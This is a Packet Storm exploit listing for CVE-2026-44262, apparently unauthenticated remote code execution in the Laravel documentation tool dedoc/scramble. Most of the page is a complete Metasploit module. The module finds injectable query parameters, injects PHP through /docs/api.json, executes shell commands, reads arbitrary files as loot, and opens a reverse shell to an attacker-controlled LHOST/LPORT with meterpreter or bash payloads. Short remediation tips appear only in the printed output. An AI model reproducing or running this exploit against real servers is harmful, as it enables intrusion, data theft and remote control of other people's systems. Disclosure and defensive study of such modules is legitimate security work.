PACKETSTORM 9.4 CRITICAL

πŸ“„ dedoc/scramble 0.13.2 Remote Code Execution_PACKETSTORM:223657

9.4 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Description

This is a Metasploit exploit module for CVE-2026-44262, an unauthenticated remote code execution vulnerability in the Laravel-based tool dedoc/scramble...
Visit Original Source

Basic Information

ID PACKETSTORM:223657
Published Jun 17, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : dedoc/scramble 0.13.2 Unauthenticated Remote Code Execution Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://laravel.com |
==================================================================================================================================

[+] Summary : This is a Metasploit exploit module for CVE-2026-44262, an unauthenticated remote code execution (RCE) vulnerability in the Laravel-based tool dedoc/scramble.

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'dedoc/scramble Unauthenticated Remote Code Execution',
'Description' => %q{
CVE-2026-44262 is an unauthenticated Remote Code Execution vulnerability
in dedoc/scramble, a Laravel API documentation generator.

The vulnerability exists in NodeRulesEvaluator::doEvaluateExpression()
which calls extract($variables) before eval("return $code;"). When a
controller assigns `$request->input()` to a variable named `$code` and
uses it as a validation rule, Scramble tracks that variable and passes
it into the eval scope. An attacker can overwrite $code with arbitrary
PHP by supplying a crafted query parameter to `/docs/api.json`.

This module provides detection and exploitation capabilities including
command execution, file read, and reverse shell.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-44262'],
['URL', 'https://github.com/joshuavanderpoll/CVE-2026-44262'],
['URL', 'https://github.com/advisories/GHSA-4rm2-28vj-fj39'],
['URL', 'https://scramble.dedoc.co']
],
'DisclosureDate' => '2026-05-07',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux', 'win'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
]
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for docs', '/docs/api']),
OptString.new('DOCS_PATH', [false, 'Full path to api.json (auto-detected if not set)']),
OptString.new('PARAM', [false, 'Vulnerable parameter name (auto-detected if not set)']),
OptInt.new('SLEEP_SECONDS', [false, 'Sleep seconds for timing detection', 4]),
OptEnum.new('ACTION', [true, 'Action to perform', 'DETECT', ['DETECT', 'EXECUTE', 'READ_FILE', 'SHELL']]),
OptString.new('READ_FILE', [false, 'File to read (when ACTION=READ_FILE)']),
OptBool.new('FORCE_OS', [false, 'Force OS detection bypass', false])
])
end

def docs_api_url
if datastore['DOCS_PATH'] && !datastore['DOCS_PATH'].empty?
path = datastore['DOCS_PATH']
else
base_path = datastore['TARGETURI'].chomp('.json')
path = base_path + '.json'
end
normalize_uri(target_uri.path, path)
end

def docs_ui_url
base_path = datastore['TARGETURI'].chomp('.json')
normalize_uri(target_uri.path, base_path)
end

def get_openapi_spec
res = send_request_cgi(
'method' => 'GET',
'uri' => docs_api_url
)

if res && res.code == 200
begin
return JSON.parse(res.body)
rescue JSON::ParserError
return nil
end
end
nil
end

def find_vulnerable_parameters(spec)
vulnerable = []

return vulnerable unless spec && spec['paths']
rule_pattern = /^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)/i

spec['paths'].each do |path, methods|
methods.each do |method, details|
next unless details['parameters']

details['parameters'].each do |param|
next unless param['in'] == 'query'

schema = param['schema'] || {}
default = schema['default'].to_s

if default =~ rule_pattern || default.include?('|')
vulnerable << {
'path' => path,
'param' => param['name'],
'method' => method.upcase
}
end
end
end
end

vulnerable
end

def get_server_info
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path))

info = {}
if res
info['server'] = res.headers['Server'] if res.headers['Server']
info['x_powered_by'] = res.headers['X-Powered-By'] if res.headers['X-Powered-By']

if res.body && res.body.include?('laravel')
version_match = res.body.match(/Laravel v?(\d+\.\d+\.\d+)/i)
info['laravel_version'] = version_match[1] if version_match
end
end

info
end

def detect_os(param)
print_status('Detecting target operating system...')

payload = 'print(php_uname("s"))'
output = execute_php_code(param, payload)

if output
os_lower = output.strip.downcase
if os_lower.include?('windows')
@target_os = 'windows'
elsif os_lower.include?('linux')
@target_os = 'linux'
elsif os_lower.include?('darwin')
@target_os = 'darwin'
else
@target_os = os_lower
end
print_good("Detected OS: #{@target_os}")
else
@target_os = 'unknown'
print_warning('Could not detect OS, assuming Unix-like')
end
end

def is_windows?
@target_os == 'windows'
end

def build_attack_url(param, payload)
query = { param => payload }
"#{docs_api_url}?#{query.to_query}"
end

def send_payload(param, payload, timeout = nil)
url = build_attack_url(param, payload)

opts = { 'method' => 'GET', 'uri' => url }
opts['timeout'] = timeout if timeout

send_request_cgi(opts)
end

def capture_output(param, payload)
res = send_payload(param, payload)

if res && res.body
# Output appears before JSON start
json_start = res.body.index('{')
if json_start && json_start > 0
return res.body[0...json_start].strip
elsif json_start == 0
return nil
else
return res.body.strip
end
end
nil
end

def execute_php_code(param, code)

wrapped = "(function(){ #{code} })()"
capture_output(param, wrapped)
end

def execute_command(param, cmd)
cmd_with_stderr = cmd.include?('2>') ? cmd : "#{cmd} 2>&1"
execute_php_code(param, "print(shell_exec(#{cmd_with_stderr.inspect}))")
end

def read_file(param, filepath)
execute_php_code(param, "print(file_get_contents(#{filepath.inspect}))")
end

def timing_probe(param, sleep_seconds)
print_status("Timing probe with sleep(#{sleep_seconds}) via param '#{param}'")

start = Time.now
send_payload(param, '')
baseline = Time.now - start
print_status("Baseline: #{'%.2f' % baseline}s")

start = Time.now
send_payload(param, "sleep(#{sleep_seconds})", sleep_seconds + datastore['WfsDelay'])
elapsed = Time.now - start
delay = elapsed - baseline

print_status("Attack response: #{'%.2f' % elapsed}s (delay: #{'%+.2f' % delay}s)")

triggered = delay >= (sleep_seconds * 0.75)

if triggered
print_good("VULNERABLE β€” response delayed ~#{sleep_seconds}s")
else
print_error("Not triggered (no significant delay)")
end

triggered
end

def exec_probe(param)
print_status("Command execution probe via param '#{param}'")

cmd = is_windows? ? 'whoami' : 'id 2>&1'
output = execute_command(param, cmd)

if output && !output.empty?
print_good("VULNERABLE β€” command output captured:")
print_line(output)
return true
else
print_error("No command output in response")
return false
end
end

def detect_vulnerability
print_status("Checking for vulnerable Scramble instance at #{docs_api_url}")

res = send_request_cgi('method' => 'GET', 'uri' => docs_api_url)

unless res && res.code == 200
print_error("Docs API not accessible (HTTP #{res&.code || 'no response'})")
return false
end

print_good("Docs API accessible")

spec = get_openapi_spec
unless spec
print_error("Failed to parse OpenAPI spec")
return false
end

if spec['info']
print_status("API Title: #{spec['info']['title']}") if spec['info']['title']
print_status("API Version: #{spec['info']['version']}") if spec['info']['version']
end

@vulnerable_params = find_vulnerable_parameters(spec)

if @vulnerable_params.empty?
print_error("No potentially vulnerable parameters found in spec")
return false
end

print_good("Found #{@vulnerable_params.length} potentially vulnerable parameter(s):")
@vulnerable_params.each do |vp|
print_status(" #{vp['method']} #{vp['path']} β†’ param '#{vp['param']}'")
end

true
end

def exploit_command(param, cmd)
print_status("Executing command: #{cmd}")
output = execute_command(param, cmd)

if output && !output.empty?
print_good("Command output:")
print_line(output)
return true
else
print_error("No output received")
return false
end
end

def exploit_read_file(param, filepath)
print_status("Reading file: #{filepath}")
content = read_file(param, filepath)

if content && !content.empty?
print_good("File contents:")
print_line(content)

store_loot(
'scramble.file',
'text/plain',
datastore['RHOST'],
content,
File.basename(filepath),
"File read from target: #{filepath}"
)
return true
else
print_error("Failed to read file (may not exist or not readable)")
return false
end
end

def exploit_reverse_shell(param, lhost, lport)
print_status("Preparing reverse shell to #{lhost}:#{lport}")
print_status("Ensure listener is running: nc -lvnp #{lport}")

shell_bin = is_windows? ? 'cmd.exe' : '/bin/sh'

php_payload = <<~PHP
(function(){
$s=@fsockopen('#{lhost}',#{lport},$e,$m,30);
if(!$s)return;
$p=proc_open('#{shell_bin}',array(0=>$s,1=>$s,2=>$s),$pipes);
if($p)proc_close($p);
fclose($s);
})()
PHP

print_status("Sending reverse shell payload...")

send_payload(param, php_payload, 3600)

print_good("Reverse shell payload sent. Check your listener.")
true
end

def exploit_php_code(param, code)
print_status("Executing PHP code: #{code}")
output = execute_php_code(param, code)

if output && !output.empty?
print_good("PHP code output:")
print_line(output)
return true
else
print_warning("No output from PHP code")
return true
end
end

def check
print_status("CVE-2026-44262 - dedoc/scramble RCE Check")

unless detect_vulnerability
return CheckCode::Safe("No vulnerable parameters found")
end

param = @vulnerable_params.first['param']

if timing_probe(param, datastore['SLEEP_SECONDS'])
return CheckCode::Vulnerable("Timing probe confirmed RCE")
else
return CheckCode::Appears("Potentially vulnerable, but timing probe failed")
end
end

def exploit
print_status("CVE-2026-44262 - dedoc/scramble RCE Exploit")

unless detect_vulnerability
fail_with(Failure::NotFound, "No vulnerable parameters found")
end

param = @vulnerable_params.first['param']
print_good("Using vulnerable parameter: #{param}")

unless datastore['FORCE_OS']
detect_os(param)
end

case datastore['ACTION']
when 'EXECUTE'
cmd = datastore['PAYLOAD'] ? payload.encoded : "id"
exploit_command(param, cmd)

when 'READ_FILE'
filepath = datastore['READ_FILE']
if filepath.nil? || filepath.empty?
fail_with(Failure::BadConfig, "READ_FILE path required for ACTION=READ_FILE")
end
exploit_read_file(param, filepath)

when 'SHELL'
lhost = datastore['LHOST']
lport = datastore['LPORT']

if lhost.nil? || lport.nil?
fail_with(Failure::BadConfig, "LHOST and LPORT required for reverse shell")
end
exploit_reverse_shell(param, lhost, lport)

else
print_status("\n[*] Running timing detection...")
timing_result = timing_probe(param, datastore['SLEEP_SECONDS'])

print_status("\n[*] Running command execution probe...")
exec_result = exec_probe(param)

print_status("\n" + "=" * 65)
print_status("SUMMARY")
print_status("=" * 65)
print_status("Target: #{peer}")
print_status("Vuln param: #{param}")
print_status("Timing probe: #{timing_result ? 'TRIGGERED' : 'clean'}")
print_status("Exec probe: #{exec_result ? 'TRIGGERED' : 'clean'}")

if timing_result || exec_result
print_good("\n*** VULNERABLE β€” RCE confirmed ***")

print_status("\nRemediation:")
print_status(" 1. Update Scramble: composer require dedoc/scramble:^0.13.22")
print_status(" 2. Restrict docs access with middleware")
print_status(" 3. Disable docs in production")
else
print_status("\nNot exploitable via this vector")
end
print_status("=" * 65)
end
end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.